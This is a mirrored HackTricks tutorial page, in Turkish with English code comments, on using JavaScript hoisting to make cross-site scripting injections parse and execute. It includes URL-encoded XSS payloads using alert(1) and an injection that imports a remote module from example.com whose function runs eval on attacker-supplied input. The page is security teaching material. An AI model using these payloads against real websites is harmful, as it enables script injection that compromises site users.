mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-18 06:58:27 +00:00
157 lines
7.4 KiB
Markdown
157 lines
7.4 KiB
Markdown
# JS Hoisting
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## Temel Bilgiler
|
||
|
||
JavaScript dilinde, değişkenlerin, fonksiyonların, sınıfların veya importların bildirimlerinin, kod çalıştırılmadan önce kapsamlarının en üstüne kavramsal olarak yükseltildiği bir mekanizma olan **Hoisting** tanımlanmıştır. Bu süreç, JavaScript motoru tarafından otomatik olarak gerçekleştirilir ve motor, scripti birden fazla geçişte inceler.
|
||
|
||
İlk geçişte, motor kodu sözdizimi hatalarını kontrol etmek için ayrıştırır ve onu soyut sözdizim ağaçlarına dönüştürür. Bu aşama, belirli bildirimlerin yürütme bağlamının en üstüne taşındığı hoisting işlemini içerir. Ayrıştırma aşaması başarılı olursa, yani sözdizimi hatası yoksa, scriptin yürütülmesine devam edilir.
|
||
|
||
Anlamak önemlidir ki:
|
||
|
||
1. Scriptin yürütülmesi için sözdizimi hatalarından arınmış olması gerekir. Sözdizimi kurallarına kesinlikle uyulmalıdır.
|
||
2. Script içindeki kodun yerleşimi, hoisting nedeniyle yürütmeyi etkiler, ancak yürütülen kodun metinsel temsili farklı olabilir.
|
||
|
||
#### Hoisting Türleri
|
||
|
||
MDN'den alınan bilgilere dayanarak, JavaScript'te dört farklı hoisting türü vardır:
|
||
|
||
1. **Değer Hoisting**: Bir değişkenin değerinin, bildirim satırından önce kapsamı içinde kullanılmasına olanak tanır.
|
||
2. **Bildirim Hoisting**: Bir değişkenin, bildiriminden önce kapsamı içinde referans alınmasına izin verir, bu da `ReferenceError` oluşturmaz, ancak değişkenin değeri `undefined` olacaktır.
|
||
3. Bu tür, değişkenin gerçek bildirim satırından önceki bildirimine bağlı olarak kapsam içindeki davranışı değiştirir.
|
||
4. Bildirimin yan etkileri, içindeki diğer kodun değerlendirilmesinden önce gerçekleşir.
|
||
|
||
Detaylı olarak, fonksiyon bildirimleri tür 1 hoisting davranışı sergiler. `var` anahtar kelimesi tür 2 davranışını gösterir. `let`, `const` ve `class` gibi sözcüksel bildirimler tür 3 davranışını gösterir. Son olarak, `import` ifadeleri, hem tür 1 hem de tür 4 davranışlarıyla hoisted olan benzersiz bir yapıya sahiptir.
|
||
|
||
## Senaryolar
|
||
|
||
Bu nedenle, **Tanımsız bir nesne** kullanıldıktan sonra **JS kodu enjekte edebileceğiniz senaryolarınız varsa**, bunu **bildirerek sözdizimini düzeltebilirsiniz** (böylece kodunuz bir hata fırlatmak yerine çalıştırılır):
|
||
```javascript
|
||
// The function vulnerableFunction is not defined
|
||
vulnerableFunction('test', '<INJECTION>');
|
||
// You can define it in your injection to execute JS
|
||
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
|
||
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
|
||
|
||
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
|
||
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
|
||
```
|
||
|
||
```javascript
|
||
// If a variable is not defined, you could define it in the injection
|
||
// In the following example var a is not defined
|
||
function myFunction(a,b){
|
||
return 1
|
||
};
|
||
myFunction(a, '<INJECTION>')
|
||
|
||
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
|
||
test'); var a = 1; alert(1);
|
||
```
|
||
|
||
```javascript
|
||
// If an undeclared class is used, you cannot declare it AFTER being used
|
||
var variable = new unexploitableClass();
|
||
<INJECTION>
|
||
// But you can actually declare it as a function, being able to fix the syntax with something like:
|
||
function unexploitableClass() {
|
||
return 1;
|
||
}
|
||
alert(1);
|
||
```
|
||
|
||
```javascript
|
||
// Properties are not hoisted
|
||
// So the following examples where the 'cookie' attribute doesn´t exist
|
||
// cannot be fixed if you can only inject after that code:
|
||
test.cookie('leo','INJECTION')
|
||
test['cookie','injection']
|
||
```
|
||
## Daha Fazla Senaryo
|
||
```javascript
|
||
// Undeclared var accessing to an undeclared method
|
||
x.y(1,INJECTION)
|
||
// You can inject
|
||
alert(1));function x(){}//
|
||
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
|
||
x.y(1,alert(1));function x(){}//)
|
||
```
|
||
|
||
```javascript
|
||
// Undeclared var accessing 2 nested undeclared method
|
||
x.y.z(1,INJECTION)
|
||
// You can inject
|
||
");import {x} from "https://example.com/module.js"//
|
||
// It will be executed
|
||
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
|
||
|
||
|
||
// The imported module:
|
||
// module.js
|
||
var x = {
|
||
y: {
|
||
z: function(param) {
|
||
eval(param);
|
||
}
|
||
}
|
||
};
|
||
|
||
export { x };
|
||
```
|
||
|
||
```javascript
|
||
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
|
||
// It was injected the: let config;`-alert(1)`//`
|
||
// With the goal of making in the block the var config be empty, so the return is not executed
|
||
// And the same injection was replicated in the body URL to execute an alert
|
||
|
||
try {
|
||
if(config){
|
||
return;
|
||
}
|
||
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
|
||
let config;`-alert(1)`//`+"
|
||
} catch {
|
||
fetch("/error", {
|
||
method: "POST",
|
||
body: {
|
||
url:"https://try-to-catch.glitch.me/"+`
|
||
let config;`-alert(1)-`//`+""
|
||
}
|
||
})
|
||
}
|
||
```
|
||
## Referanslar
|
||
|
||
* [https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios)
|
||
* [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
|
||
* [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
|
||
|
||
{% hint style="success" %}
|
||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>HackTricks'i Destekleyin</summary>
|
||
|
||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||
|
||
</details>
|
||
{% endhint %}
|